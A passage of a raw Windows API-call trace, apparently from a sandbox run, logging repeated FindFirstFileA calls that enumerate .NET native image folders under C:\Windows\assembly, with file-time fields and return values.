ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.764] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0dacf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12d24140, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12d24140, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.770] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e828e10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12d4a2a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12d4a2a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.775] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt73a1fc9d#\\1eb533a2b10b40a4cac2ea2aa5347e4f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7e828e10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12d4a2a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12d4a2a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.781] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7640c910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12d70400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12d70400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.787] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt9064068c#\\2bcb9d5e9dfab75d491d144f711008cf\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7640c910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12d70400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12d70400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.793] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa16353b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12d70400, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12d70400, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.798] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt93d54979#\\662cd57946ab3a775b7410b88bdf465a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa16353b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12d96560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12d96560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.806] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c6b9710, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12d96560, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12d96560, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.851] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runteb92aa12#\\10ac1ee8f5a49497e507e508ff64e21f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c6b9710, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12e08980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12e08980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.857] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54768450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12e08980, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12e08980, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.862] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Security\\2c1e928e0fc903e00b846cd0e3d5027c\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54768450, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12e2eae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12e2eae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.867] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2a97010, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12e2eae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12e2eae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.872] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14259fd9#\\5802887b8b6900a064d0b61cd0ae7487\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa2e29110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12e2eae0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12e2eae0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.878] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1df1b30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12e54c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12e54c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.883] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv14b62006#\\a95f8e1301bd1eff684a8b33c50e0986\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1df1b30, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12e54c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12e54c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.888] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6eba5d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12e54c40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12e54c40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.894] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv30e99c02#\\f8e75d870778639e773ad046e3b32360\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6eba5d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12e7ada0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12e7ada0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.900] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab114b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12e7ada0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12e7ada0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.905] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv43e0ae6e#\\87762d30feb4da1df13946bf2edb2492\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab114b10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12e7ada0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12e7ada0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.910] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2a3d70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12ea0f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12ea0f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.915] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Serv759bfb78#\\b2cde20051456606147962820883750f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2c9ed0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12ea0f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12ea0f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.920] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaac9e1d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12ea0f00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12ea0f00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.925] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servae423458#\\6ee662bee23b205a3508157c631f697f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaac9e1d0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12ec7060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12ec7060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.930] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab245610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12ec7060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12ec7060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.937] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servb00a6512#\\e70d84ed9e6a348fd66d7b67dcdfcb94\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab245610, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12ec7060, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12ec7060, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.944] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cae3d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12eed1c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12eed1c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.949] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servd1dec626#\\845cf66dea3fcdc050258be47067f543\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cae3d90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12eed1c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12eed1c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.955] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5b63310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12f13320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12f13320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.960] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Servf73e6522#\\5b410f7aa83eb57fe1ff51f926e6a72f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5b63310, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12f13320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12f13320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.966] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f801c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12f13320, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12f13320, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.972] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.ServiceModel\\0371737a900d7e56cc065700948f6ff3\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f801c90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12f39480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12f39480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.978] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabdb9ff0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12f39480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12f39480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0250.983] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Speech\\771a6f50093c39f0417eaf26bfb7deef\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabde0150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12f39480, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12f39480, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0250.997] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8637e1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12f5f5e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12f5f5e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.003] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Transactions\\c0b6be862ff760a1f67b8b7e6548b411\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8637e1f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12f85740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12f85740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.009] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830508f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12f85740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12f85740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.014] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web\\0f5cd81189d950112651def9926ac257\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x830508f0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12f85740, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12f85740, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.019] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadec1130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12fab8a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12fab8a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.024] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.1586a486#\\966cf3eae0dc46e589021e83a9ecdd06\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xadec1130, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12fab8a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12fab8a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0251.030] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac08da10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12fab8a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x12fab8a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0251.035] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.188dd00b#\\520a036265c8b10ea599074a25d6aff6\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac08da10, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x12fd1a00, 